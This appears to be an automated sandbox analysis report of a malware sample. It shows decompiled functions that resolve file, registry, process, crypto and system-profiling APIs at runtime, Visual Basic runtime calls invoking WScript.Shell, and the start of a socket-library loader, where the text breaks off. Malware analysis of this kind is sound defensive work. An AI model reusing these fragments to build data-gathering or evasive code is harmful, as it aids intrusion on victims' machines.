Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CryptDataFreeLocalUnprotect
String ID:
API String ID: 1561624719-0
Opcode ID: fa74fd686d8bb1450554d7fdbc3acb5fa010225d01e5a33861605ec384d54b81
Instruction ID: 789b43464e992449ae21f91847352ccfea11bbcfb58c617e1741a13a3b8d6e83
Opcode Fuzzy Hash: fa74fd686d8bb1450554d7fdbc3acb5fa010225d01e5a33861605ec384d54b81
Instruction Fuzzy Hash: 85F0BEB1344300ABD310EE69CC82B4BB7E8AB84700F14893E7698EB2D1D639E955875A

Uniqueness

Uniqueness Score: -1.00%

Function 00404BA8, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00404BA8(int __eax, void* __ebx, void* __eflags) {
				char _v8;
				char _v15;
				char _v20;
				intOrPtr _t29;
				void* _t32;

				_v20 = 0;
				_push(_t32);
				_push(0x404c0e);
				_push( *[fs:edx]);
				 *[fs:edx] = _t32 + 0xfffffff0;
				GetLocaleInfoA(__eax, 0x1004,  &_v15, 7);
				E00403748( &_v20, 7,  &_v15);
				E00402988(_v20,  &_v8);
				if(_v8 != 0) {
				}
				_pop(_t29);
				 *[fs:eax] = _t29;
				_push(E00404C15);
				return E004034E4( &_v20);
			}

0x00404bb1
0x00404bb6
0x00404bb7
0x00404bbc
0x00404bbf
0x00404bce
0x00404bde
0x00404be9
0x00404bf4
0x00404bf4
0x00404bfa
0x00404bfd
0x00404c00
0x00404c0d

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00404C0E), ref: 00404BCE

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 40f00df29b06f7f47e29b3e36becc3853c792834bf1450727d1b9494e9aa0756
Instruction ID: 4cf5545a5668d2b6934dff5f8e722f533bd1fe9dd63670d657e80fcd03084d14
Opcode Fuzzy Hash: 40f00df29b06f7f47e29b3e36becc3853c792834bf1450727d1b9494e9aa0756
Instruction Fuzzy Hash: 77F0C870A0420DAFE715DF91CD41ADEF77AF7C5714F50883AA610772D0E7B86A00C698

Uniqueness

Uniqueness Score: -1.00%

Function 00405668, Relevance: 217.3, APIs: 62, Strings: 62, Instructions: 307
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405668() {
				struct HINSTANCE__* _t108;
				struct HINSTANCE__* _t110;
				struct HINSTANCE__* _t112;
				struct HINSTANCE__* _t115;
				struct HINSTANCE__* _t118;
				_Unknown_base(*)()* _t119;

				 *0x41c678 = LoadLibraryA("kernel32.dll");
				 *0x41c67c = GetProcAddress( *0x41c678, "ExpandEnvironmentStringsW");
				 *0x41c680 = GetProcAddress( *0x41c678, "GetComputerNameW");
				 *0x41c684 = GetProcAddress( *0x41c678, "GlobalMemoryStatus");
				 *0x41c688 = GetProcAddress( *0x41c678, "CreateFileW");
				 *0x41c68c = GetProcAddress( *0x41c678, "GetFileSize");
				 *0x41c690 = GetProcAddress( *0x41c678, "CloseHandle");
				 *0x41c694 = GetProcAddress( *0x41c678, "ReadFile");
				 *0x41c698 = GetProcAddress( *0x41c678, "GetFileAttributesW");
				 *0x41c69c = GetProcAddress( *0x41c678, "CreateMutexA");
				 *0x41c6a0 = GetProcAddress( *0x41c678, "ReleaseMutex");
				 *0x41c6a4 = GetProcAddress( *0x41c678, "GetLastError");
				 *0x41c6a8 = GetProcAddress( *0x41c678, "GetCurrentDirectoryW");
				 *0x41c6ac = GetProcAddress( *0x41c678, "SetEnvironmentVariableW");
				 *0x41c6b0 = GetProcAddress( *0x41c678, "SetCurrentDirectoryW");
				 *0x41c6b4 = GetProcAddress( *0x41c678, "FindFirstFileW");
				 *0x41c6b8 = GetProcAddress( *0x41c678, "FindNextFileW");
				 *0x41c6bc = GetProcAddress( *0x41c678, "LocalFree");
				 *0x41c6c0 = GetProcAddress( *0x41c678, "GetTickCount");
				 *0x41c6c4 = GetProcAddress( *0x41c678, "CopyFileW");
				 *0x41c6c8 = GetProcAddress( *0x41c678, "FindClose");
				 *0x41c6cc = GetProcAddress( *0x41c678, "GlobalMemoryStatusEx");
				 *0x41c6d0 = GetProcAddress( *0x41c678, "CreateToolhelp32Snapshot");
				 *0x41c6d4 = GetProcAddress( *0x41c678, "Process32FirstW");
				 *0x41c6d8 = GetProcAddress( *0x41c678, "Process32NextW");
				 *0x41c6dc = GetProcAddress( *0x41c678, "GetModuleFileNameW");
				 *0x41c6e0 = GetProcAddress( *0x41c678, "SetDllDirectoryW");
				 *0x41c6e4 = GetProcAddress( *0x41c678, "GetLocaleInfoA");
				 *0x41c6e8 = GetProcAddress( *0x41c678, "GetLocalTime");
				 *0x41c6ec = GetProcAddress( *0x41c678, "GetTimeZoneInformation");
				 *0x41c6f0 = GetProcAddress( *0x41c678, "RemoveDirectoryW");
				 *0x41c6f4 = GetProcAddress( *0x41c678, "DeleteFileW");
				 *0x41c6f8 = GetProcAddress( *0x41c678, "GetLogicalDriveStringsA");
				 *0x41c6fc = GetProcAddress( *0x41c678, "GetDriveTypeA");
				 *0x41c700 = GetProcAddress( *0x41c678, "CreateProcessW");
				 *0x41c704 = LoadLibraryA("advapi32.dll");
				 *0x41c708 = GetProcAddress( *0x41c704, "GetUserNameW");
				 *0x41c70c = GetProcAddress( *0x41c704, "RegCreateKeyExW");
				 *0x41c710 = GetProcAddress( *0x41c704, "RegQueryValueExW");
				 *0x41c714 = GetProcAddress( *0x41c704, "RegCloseKey");
				 *0x41c718 = GetProcAddress( *0x41c704, "RegOpenKeyExW");
				 *0x41c71c = GetProcAddress( *0x41c704, "AllocateAndInitializeSid");
				 *0x41c720 = GetProcAddress( *0x41c704, "LookupAccountSidA");
				 *0x41c724 = GetProcAddress( *0x41c704, "CreateProcessAsUserW");
				 *0x41c728 = GetProcAddress( *0x41c704, "CheckTokenMembership");
				 *0x41c72c = GetProcAddress( *0x41c704, "RegOpenKeyW");
				 *0x41c730 = GetProcAddress( *0x41c704, "RegEnumKeyW");
				 *0x41c734 = GetProcAddress( *0x41c704, "RegEnumValueW");
				 *0x41c738 = GetProcAddress( *0x41c704, "CryptAcquireContextA");
				 *0x41c73c = GetProcAddress( *0x41c704, "CryptCreateHash");
				 *0x41c740 = GetProcAddress( *0x41c704, "CryptHashData");
				 *0x41c744 = GetProcAddress( *0x41c704, "CryptGetHashParam");
				 *0x41c748 = GetProcAddress( *0x41c704, "CryptDestroyHash");
				 *0x41c74c = GetProcAddress( *0x41c704, "CryptReleaseContext");
				 *0x41c750 = LoadLibraryA("user32.dll");
				_t108 =  *0x41c750; // 0x768f0000
				 *0x41c754 = GetProcAddress(_t108, "EnumDisplayDevicesW");
				_t110 =  *0x41c750; // 0x768f0000
				 *0x41c758 = GetProcAddress(_t110, "wvsprintfA");
				_t112 =  *0x41c750; // 0x768f0000
				 *0x41c75c = GetProcAddress(_t112, "GetKeyboardLayoutList");
				 *0x41c760 = LoadLibraryA("shell32.dll");
				_t115 =  *0x41c760; // 0x75390000
				 *0x41c764 = GetProcAddress(_t115, "ShellExecuteExW");
				 *0x41c768 = LoadLibraryA("ntdll.dll");
				_t118 =  *0x41c768; // 0x775e0000
				_t119 = GetProcAddress(_t118, "RtlComputeCrc32");
				 *0x41c76c = _t119;
				return _t119;
			}

0x0040567e
0x0040568d
0x0040569f
0x004056b1
0x004056c3
0x004056d5
0x004056e7
0x004056f9
0x0040570b
0x0040571d
0x0040572f
0x00405741
0x00405753
0x00405765
0x00405777
0x00405789
0x0040579b
0x004057ad
0x004057bf
0x004057d1
0x004057e3
0x004057f5
0x00405807
0x00405819
0x0040582b
0x0040583d
0x0040584f
0x00405861
0x00405873
0x00405885
0x00405897
0x004058a9
0x004058bb
0x004058cd
0x004058df
0x004058ee
0x004058fd
0x0040590f
0x00405921
0x00405933
0x00405945
0x00405957
0x00405969
0x0040597b
0x0040598d
0x0040599f
0x004059b1
0x004059c3
0x004059d5
0x004059e7
0x004059f9
0x00405a0b
0x00405a1d
0x00405a2f
0x00405a3e
0x00405a48
0x00405a53
0x00405a5d
0x00405a68
0x00405a72
0x00405a7d
0x00405a8c
0x00405a96
0x00405aa1
0x00405ab0
0x00405aba
0x00405ac0
0x00405ac5
0x00405acc

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00418711), ref: 00405679
GetProcAddress.KERNEL32(00000000,ExpandEnvironmentStringsW), ref: 00405688
GetProcAddress.KERNEL32(00000000,GetComputerNameW), ref: 0040569A
GetProcAddress.KERNEL32(00000000,GlobalMemoryStatus), ref: 004056AC
GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 004056BE
GetProcAddress.KERNEL32(00000000,GetFileSize), ref: 004056D0
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 004056E2
GetProcAddress.KERNEL32(00000000,ReadFile), ref: 004056F4
GetProcAddress.KERNEL32(00000000,GetFileAttributesW), ref: 00405706
GetProcAddress.KERNEL32(00000000,CreateMutexA), ref: 00405718
GetProcAddress.KERNEL32(00000000,ReleaseMutex), ref: 0040572A
GetProcAddress.KERNEL32(00000000,GetLastError), ref: 0040573C
GetProcAddress.KERNEL32(00000000,GetCurrentDirectoryW), ref: 0040574E
GetProcAddress.KERNEL32(00000000,SetEnvironmentVariableW), ref: 00405760
GetProcAddress.KERNEL32(00000000,SetCurrentDirectoryW), ref: 00405772
GetProcAddress.KERNEL32(00000000,FindFirstFileW), ref: 00405784
GetProcAddress.KERNEL32(00000000,FindNextFileW), ref: 00405796
GetProcAddress.KERNEL32(00000000,LocalFree), ref: 004057A8
GetProcAddress.KERNEL32(00000000,GetTickCount), ref: 004057BA
GetProcAddress.KERNEL32(00000000,CopyFileW), ref: 004057CC
GetProcAddress.KERNEL32(00000000,FindClose), ref: 004057DE
GetProcAddress.KERNEL32(00000000,GlobalMemoryStatusEx), ref: 004057F0
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 00405802
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 00405814
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 00405826
GetProcAddress.KERNEL32(00000000,GetModuleFileNameW), ref: 00405838
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040584A
GetProcAddress.KERNEL32(00000000,GetLocaleInfoA), ref: 0040585C
GetProcAddress.KERNEL32(00000000,GetLocalTime), ref: 0040586E
GetProcAddress.KERNEL32(00000000,GetTimeZoneInformation), ref: 00405880
GetProcAddress.KERNEL32(00000000,RemoveDirectoryW), ref: 00405892
GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 004058A4
GetProcAddress.KERNEL32(00000000,GetLogicalDriveStringsA), ref: 004058B6
GetProcAddress.KERNEL32(00000000,GetDriveTypeA), ref: 004058C8
GetProcAddress.KERNEL32(00000000,CreateProcessW), ref: 004058DA
LoadLibraryA.KERNEL32(advapi32.dll,00000000,CreateProcessW,00000000,GetDriveTypeA,00000000,GetLogicalDriveStringsA,00000000,DeleteFileW,00000000,RemoveDirectoryW,00000000,GetTimeZoneInformation,00000000,GetLocalTime,00000000), ref: 004058E9
GetProcAddress.KERNEL32(00000000,GetUserNameW), ref: 004058F8
GetProcAddress.KERNEL32(00000000,RegCreateKeyExW), ref: 0040590A
GetProcAddress.KERNEL32(00000000,RegQueryValueExW), ref: 0040591C
GetProcAddress.KERNEL32(00000000,RegCloseKey), ref: 0040592E
GetProcAddress.KERNEL32(00000000,RegOpenKeyExW), ref: 00405940
GetProcAddress.KERNEL32(00000000,AllocateAndInitializeSid), ref: 00405952
GetProcAddress.KERNEL32(00000000,LookupAccountSidA), ref: 00405964
GetProcAddress.KERNEL32(00000000,CreateProcessAsUserW), ref: 00405976
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 00405988
GetProcAddress.KERNEL32(00000000,RegOpenKeyW), ref: 0040599A
GetProcAddress.KERNEL32(00000000,RegEnumKeyW), ref: 004059AC
GetProcAddress.KERNEL32(00000000,RegEnumValueW), ref: 004059BE
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 004059D0
GetProcAddress.KERNEL32(00000000,CryptCreateHash), ref: 004059E2
GetProcAddress.KERNEL32(00000000,CryptHashData), ref: 004059F4
GetProcAddress.KERNEL32(00000000,CryptGetHashParam), ref: 00405A06
GetProcAddress.KERNEL32(00000000,CryptDestroyHash), ref: 00405A18
GetProcAddress.KERNEL32(00000000,CryptReleaseContext), ref: 00405A2A
LoadLibraryA.KERNEL32(user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000,CryptGetHashParam,00000000,CryptHashData,00000000,CryptCreateHash,00000000,CryptAcquireContextA,00000000,RegEnumValueW,00000000), ref: 00405A39
GetProcAddress.KERNEL32(768F0000,EnumDisplayDevicesW), ref: 00405A4E
GetProcAddress.KERNEL32(768F0000,wvsprintfA), ref: 00405A63
GetProcAddress.KERNEL32(768F0000,GetKeyboardLayoutList), ref: 00405A78
LoadLibraryA.KERNEL32(shell32.dll,768F0000,GetKeyboardLayoutList,768F0000,wvsprintfA,768F0000,EnumDisplayDevicesW,user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000,CryptGetHashParam,00000000,CryptHashData), ref: 00405A87
GetProcAddress.KERNEL32(75390000,ShellExecuteExW), ref: 00405A9C
LoadLibraryA.KERNEL32(ntdll.dll,75390000,ShellExecuteExW,shell32.dll,768F0000,GetKeyboardLayoutList,768F0000,wvsprintfA,768F0000,EnumDisplayDevicesW,user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000), ref: 00405AAB
GetProcAddress.KERNEL32(775E0000,RtlComputeCrc32), ref: 00405AC0

Strings

RemoveDirectoryW, xrefs: 0040588A
CryptAcquireContextA, xrefs: 004059C8
CreateProcessW, xrefs: 004058D2
CheckTokenMembership, xrefs: 00405980
CryptGetHashParam, xrefs: 004059FE
GlobalMemoryStatus, xrefs: 004056A4
GetKeyboardLayoutList, xrefs: 00405A6D
user32.dll, xrefs: 00405A34
GetLogicalDriveStringsA, xrefs: 004058AE
RegCloseKey, xrefs: 00405926
shell32.dll, xrefs: 00405A82
GetUserNameW, xrefs: 004058F0
AllocateAndInitializeSid, xrefs: 0040594A
SetEnvironmentVariableW, xrefs: 00405758
SetCurrentDirectoryW, xrefs: 0040576A
CloseHandle, xrefs: 004056DA
GetDriveTypeA, xrefs: 004058C0
ShellExecuteExW, xrefs: 00405A91
RegOpenKeyExW, xrefs: 00405938
RegEnumValueW, xrefs: 004059B6
CryptDestroyHash, xrefs: 00405A10
kernel32.dll, xrefs: 00405674
Process32NextW, xrefs: 0040581E
GetFileAttributesW, xrefs: 004056FE
GetModuleFileNameW, xrefs: 00405830
ReadFile, xrefs: 004056EC
CopyFileW, xrefs: 004057C4
LocalFree, xrefs: 004057A0
RegCreateKeyExW, xrefs: 00405902
CryptCreateHash, xrefs: 004059DA
GetCurrentDirectoryW, xrefs: 00405746
FindClose, xrefs: 004057D6
DeleteFileW, xrefs: 0040589C
LookupAccountSidA, xrefs: 0040595C
ntdll.dll, xrefs: 00405AA6
FindNextFileW, xrefs: 0040578E
SetDllDirectoryW, xrefs: 00405842
RtlComputeCrc32, xrefs: 00405AB5
CreateFileW, xrefs: 004056B6
GetTimeZoneInformation, xrefs: 00405878
CryptReleaseContext, xrefs: 00405A22
EnumDisplayDevicesW, xrefs: 00405A43
GetTickCount, xrefs: 004057B2
CryptHashData, xrefs: 004059EC
GetLocalTime, xrefs: 00405866
CreateProcessAsUserW, xrefs: 0040596E
Process32FirstW, xrefs: 0040580C
ReleaseMutex, xrefs: 00405722
RegOpenKeyW, xrefs: 00405992
CreateToolhelp32Snapshot, xrefs: 004057FA
RegEnumKeyW, xrefs: 004059A4
RegQueryValueExW, xrefs: 00405914
wvsprintfA, xrefs: 00405A58
CreateMutexA, xrefs: 00405710
GetLocaleInfoA, xrefs: 00405854
GetComputerNameW, xrefs: 00405692
FindFirstFileW, xrefs: 0040577C
GetFileSize, xrefs: 004056C8
ExpandEnvironmentStringsW, xrefs: 00405680
GetLastError, xrefs: 00405734
advapi32.dll, xrefs: 004058E4
GlobalMemoryStatusEx, xrefs: 004057E8

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: AllocateAndInitializeSid$CheckTokenMembership$CloseHandle$CopyFileW$CreateFileW$CreateMutexA$CreateProcessAsUserW$CreateProcessW$CreateToolhelp32Snapshot$CryptAcquireContextA$CryptCreateHash$CryptDestroyHash$CryptGetHashParam$CryptHashData$CryptReleaseContext$DeleteFileW$EnumDisplayDevicesW$ExpandEnvironmentStringsW$FindClose$FindFirstFileW$FindNextFileW$GetComputerNameW$GetCurrentDirectoryW$GetDriveTypeA$GetFileAttributesW$GetFileSize$GetKeyboardLayoutList$GetLastError$GetLocalTime$GetLocaleInfoA$GetLogicalDriveStringsA$GetModuleFileNameW$GetTickCount$GetTimeZoneInformation$GetUserNameW$GlobalMemoryStatus$GlobalMemoryStatusEx$LocalFree$LookupAccountSidA$Process32FirstW$Process32NextW$ReadFile$RegCloseKey$RegCreateKeyExW$RegEnumKeyW$RegEnumValueW$RegOpenKeyExW$RegOpenKeyW$RegQueryValueExW$ReleaseMutex$RemoveDirectoryW$RtlComputeCrc32$SetCurrentDirectoryW$SetDllDirectoryW$SetEnvironmentVariableW$ShellExecuteExW$advapi32.dll$kernel32.dll$ntdll.dll$shell32.dll$user32.dll$wvsprintfA
API String ID: 2238633743-3531362093
Opcode ID: 9660b240828e0248fa2e1cbcae2f49e551ae518504ec0fd7e682362848f263d4
Instruction ID: b4e9e9acb65dceb8197331e62ecd6ac44c6462922570a5848b60e957845f71d1
Opcode Fuzzy Hash: 9660b240828e0248fa2e1cbcae2f49e551ae518504ec0fd7e682362848f263d4
Instruction Fuzzy Hash: 6EB15BB1A90710AFD700BFA5DC86A6A37A8FB4A704351593BB550FF2E5D6789C008F9C

Uniqueness

Uniqueness Score: -1.00%

Function 004161F0, Relevance: 79.1, APIs: 44, Strings: 1, Instructions: 324COMMON

Download Yara Rule

APIs

__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,00000005,00000000), ref: 0041624B
__vbaGenerateBoundsError.MSVBVM60 ref: 00416273
__vbaGenerateBoundsError.MSVBVM60 ref: 0041627D
__vbaUI1I2.MSVBVM60 ref: 0041628C
__vbaGenerateBoundsError.MSVBVM60 ref: 004162B5
__vbaGenerateBoundsError.MSVBVM60 ref: 004162B9
__vbaUI1I2.MSVBVM60 ref: 004162C2
__vbaGenerateBoundsError.MSVBVM60 ref: 004162EB
__vbaGenerateBoundsError.MSVBVM60 ref: 004162EF
__vbaUI1I2.MSVBVM60 ref: 004162F8
__vbaGenerateBoundsError.MSVBVM60 ref: 00416321
__vbaGenerateBoundsError.MSVBVM60 ref: 00416325
__vbaUI1I2.MSVBVM60 ref: 0041632E
__vbaGenerateBoundsError.MSVBVM60 ref: 00416357
__vbaGenerateBoundsError.MSVBVM60 ref: 0041635B
__vbaUI1I2.MSVBVM60 ref: 00416364
__vbaGenerateBoundsError.MSVBVM60 ref: 0041638D
__vbaGenerateBoundsError.MSVBVM60 ref: 00416391
__vbaUI1I2.MSVBVM60 ref: 0041639A
#573.MSVBVM60(?,?), ref: 004163BB
__vbaStrVarVal.MSVBVM60(?,?,000000DC), ref: 004163CE
#616.MSVBVM60(00000000), ref: 004163D5
__vbaStrMove.MSVBVM60 ref: 004163E6
#713.MSVBVM60(00000000), ref: 004163E9
__vbaStrMove.MSVBVM60 ref: 004163F4
__vbaStrMove.MSVBVM60(000000FF,00000000), ref: 00416407
#709.MSVBVM60(Bubbletop,00000000), ref: 0041640F
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,00000000), ref: 00416434
__vbaFreeVarList.MSVBVM60(00000002,00000002,?), ref: 00416444
__vbaNew2.MSVBVM60(00412DB8,004172D4), ref: 00416469
__vbaHresultCheckObj.MSVBVM60(00000000,02AAECFC,00412DA8,0000004C), ref: 00416494
__vbaHresultCheckObj.MSVBVM60(00000000,?,004133C4,00000028), ref: 004164B8
__vbaFreeObj.MSVBVM60 ref: 004164BD
__vbaNew2.MSVBVM60(00412DB8,004172D4), ref: 004164D6
__vbaHresultCheckObj.MSVBVM60(00000000,02AAECFC,00412DA8,00000014), ref: 004164FB
__vbaHresultCheckObj.MSVBVM60(00000000,?,00412DC8,000000E0), ref: 00416521
__vbaStrMove.MSVBVM60 ref: 00416530
__vbaFreeObj.MSVBVM60 ref: 0041653B
#685.MSVBVM60 ref: 0041653D
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416548
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004133D4,0000001C), ref: 00416569
__vbaFreeObj.MSVBVM60 ref: 00416571
__vbaFreeStr.MSVBVM60(004165C8), ref: 004165B5
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 004165C1

Strings

Bubbletop, xrefs: 0041640A

Memory Dump Source

Source File: 0000000C.00000001.382378226.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __vba$BoundsErrorGenerate$Free$CheckHresult$Move$ListNew2$#573#616#685#709#713DestructRedim
String ID: Bubbletop
API String ID: 1910537968-443156707
Opcode ID: 487ff7cd9eea1fcdd5a8d24d96adc19c588cbb1b00f3c145649f801c206e01df
Instruction ID: 62794ba7fcccf15f4bca2ff656b2780ce8bfae7f9605b674f77c36e585685533
Opcode Fuzzy Hash: 487ff7cd9eea1fcdd5a8d24d96adc19c588cbb1b00f3c145649f801c206e01df
Instruction Fuzzy Hash: 11C1A071A002199FDB14DFA5DD84EEEB7B8BF48700F11815AE905B7290DB78D881CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00415FE0, Relevance: 63.2, APIs: 27, Strings: 9, Instructions: 150COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 0041603B
__vbaStrCopy.MSVBVM60 ref: 00416045
#523.MSVBVM60(?), ref: 0041604B
__vbaStrMove.MSVBVM60 ref: 0041605C
__vbaStrCmp.MSVBVM60(Instruktionsfelter2,00000000), ref: 00416064
__vbaFreeStr.MSVBVM60 ref: 00416076
#537.MSVBVM60(00000019), ref: 00416087
__vbaStrMove.MSVBVM60 ref: 00416092
#716.MSVBVM60(?,WScript.Shell,00000000), ref: 0041609E
__vbaObjVar.MSVBVM60(?), ref: 004160A8
__vbaObjSetAddref.MSVBVM60(?,00000000), ref: 004160B3
__vbaFreeVar.MSVBVM60 ref: 004160C2
__vbaLateMemCallLd.MSVBVM60(?,?,Environment,00000001), ref: 00416120
__vbaVarLateMemCallLd.MSVBVM60(?,00000000), ref: 0041612E
__vbaStrVarMove.MSVBVM60(00000000), ref: 00416138
__vbaStrMove.MSVBVM60 ref: 00416143
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 0041614F
__vbaVarDup.MSVBVM60 ref: 0041616C
#705.MSVBVM60(?,00000000), ref: 00416177
__vbaStrMove.MSVBVM60 ref: 00416182
__vbaFreeVar.MSVBVM60 ref: 00416187
__vbaFreeStr.MSVBVM60(004161D6), ref: 004161B6
__vbaFreeObj.MSVBVM60 ref: 004161BB
__vbaFreeStr.MSVBVM60 ref: 004161C4
__vbaFreeStr.MSVBVM60 ref: 004161C9
__vbaFreeStr.MSVBVM60 ref: 004161CE
__vbaFreeStr.MSVBVM60 ref: 004161D3

Strings

Environment, xrefs: 00416116
`3A, xrefs: 00416108
Instruktionsfelter2, xrefs: 0041605F
Item, xrefs: 004160DB
WINDIR, xrefs: 004160E0
12-12-12, xrefs: 0041615E
INTREPIDITIES, xrefs: 0041603D
WScript.Shell, xrefs: 00416095
PROCESS, xrefs: 00416101

Memory Dump Source

Source File: 0000000C.00000001.382378226.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __vba$Free$Move$CallCopyLate$#523#537#705#716AddrefList
String ID: 12-12-12$Environment$INTREPIDITIES$Instruktionsfelter2$Item$PROCESS$WINDIR$WScript.Shell$`3A
API String ID: 706556445-2701931379
Opcode ID: 26d7f560c17e4258b22dc4cb18530a4b910b0201ac86f432e4481394e38251c7
Instruction ID: ce6fda59475b25a687e5268d9e5f1bd0fdef945f17530108612db0e6014c5b28
Opcode Fuzzy Hash: 26d7f560c17e4258b22dc4cb18530a4b910b0201ac86f432e4481394e38251c7
Instruction Fuzzy Hash: FF51E7B1D002099BCB04DFE5D9859DEBBB4FF48300F50812AE516BB2A4DB746A49CF98

Uniqueness

Uniqueness Score: -1.00%

Function 004165F0, Relevance: 34.6, APIs: 23, Instructions: 109COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 0041663F
__vbaStrCopy.MSVBVM60 ref: 00416647
#554.MSVBVM60 ref: 00416649
#609.MSVBVM60 ref: 0041664F
#557.MSVBVM60(?), ref: 00416663
__vbaFreeVar.MSVBVM60 ref: 0041667D
#525.MSVBVM60(00000062), ref: 00416686
__vbaStrMove.MSVBVM60 ref: 00416697
#704.MSVBVM60(00000008,000000FF,000000FE,000000FE,000000FE), ref: 004166B3
__vbaStrMove.MSVBVM60 ref: 004166BE
__vbaFreeVar.MSVBVM60 ref: 004166C3
#717.MSVBVM60(00000003,?,00000040,00000000), ref: 004166DD
__vbaStrVarMove.MSVBVM60(00000003), ref: 004166E7
__vbaStrMove.MSVBVM60 ref: 004166F2
__vbaFreeVar.MSVBVM60 ref: 004166F7
#648.MSVBVM60(00000008), ref: 0041670B
__vbaFreeVar.MSVBVM60 ref: 00416717
__vbaFreeStr.MSVBVM60(00416756), ref: 00416733
__vbaFreeStr.MSVBVM60 ref: 00416738
__vbaFreeStr.MSVBVM60 ref: 0041673D
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00416745
__vbaFreeStr.MSVBVM60 ref: 0041674E
__vbaFreeStr.MSVBVM60 ref: 00416753

Memory Dump Source

Source File: 0000000C.00000001.382378226.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __vba$Free$Move$Copy$#525#554#557#609#648#704#717Destruct
String ID:
API String ID: 3183551191-0
Opcode ID: 995c119435b576ece611ffd0c114b649867c954b989a16a29b09a7f8e9a23007
Instruction ID: dcac40bf2b26c418ae0785114e96f854217f3b7544020a52d7f8ad0fbb65576b
Opcode Fuzzy Hash: 995c119435b576ece611ffd0c114b649867c954b989a16a29b09a7f8e9a23007
Instruction Fuzzy Hash: 6C41DB75C0021DABCB04DFA4ED84AEEBBB9FF48710F10812AE512B62A4DB745A05CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00417820, Relevance: 33.5, APIs: 10, Strings: 9, Instructions: 269
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00417820(intOrPtr __eax, void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __esi, intOrPtr _a4, intOrPtr _a8, char _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v432;
				intOrPtr _v444;
				short _v446;
				char _v448;
				char _v1472;
				char _v1476;
				char _v1480;
				char _v1484;
				char _v1488;
				char _v1492;
				void* _t144;
				void* _t151;
				void* _t186;
				struct HINSTANCE__* _t196;
				void* _t197;
				intOrPtr _t206;
				void* _t222;
				void* _t225;
				void* _t228;

				_v1476 = 0;
				_v1480 = 0;
				_v1484 = 0;
				_v1488 = 0;
				_v1492 = 0;
				_v20 = 0;
				_v24 = 0;
				_v28 = 0;
				_v32 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00403980(_v8);
				E00403980(_v12);
				E00403980(_v16);
				E00403980(_a16);
				E00403980(_a12);
				_push(_t228);
				_push(0x417c31);
				_push( *[fs:eax]);
				 *[fs:eax] = _t228 + 0xfffffa30;
				E0040357C( &_v28, "wsock32.dll");
				_t196 = GetModuleHandleA(E004039E8( &_v28));
				if(_t196 == 0) {
					_t196 = LoadLibraryA(E004039E8( &_v28));
				}
				 *0x41cb38 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0xc]));
				 *0x41cb3c = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x17]));
				 *0x41cb40 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x25]));
				 *0x41cb44 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x2c]));
				 *0x41cb48 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x31]));
				 *0x41cb4c = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x36]));
				 *0x41cb50 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x3c]));
				 *0x41cb54 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x44]));
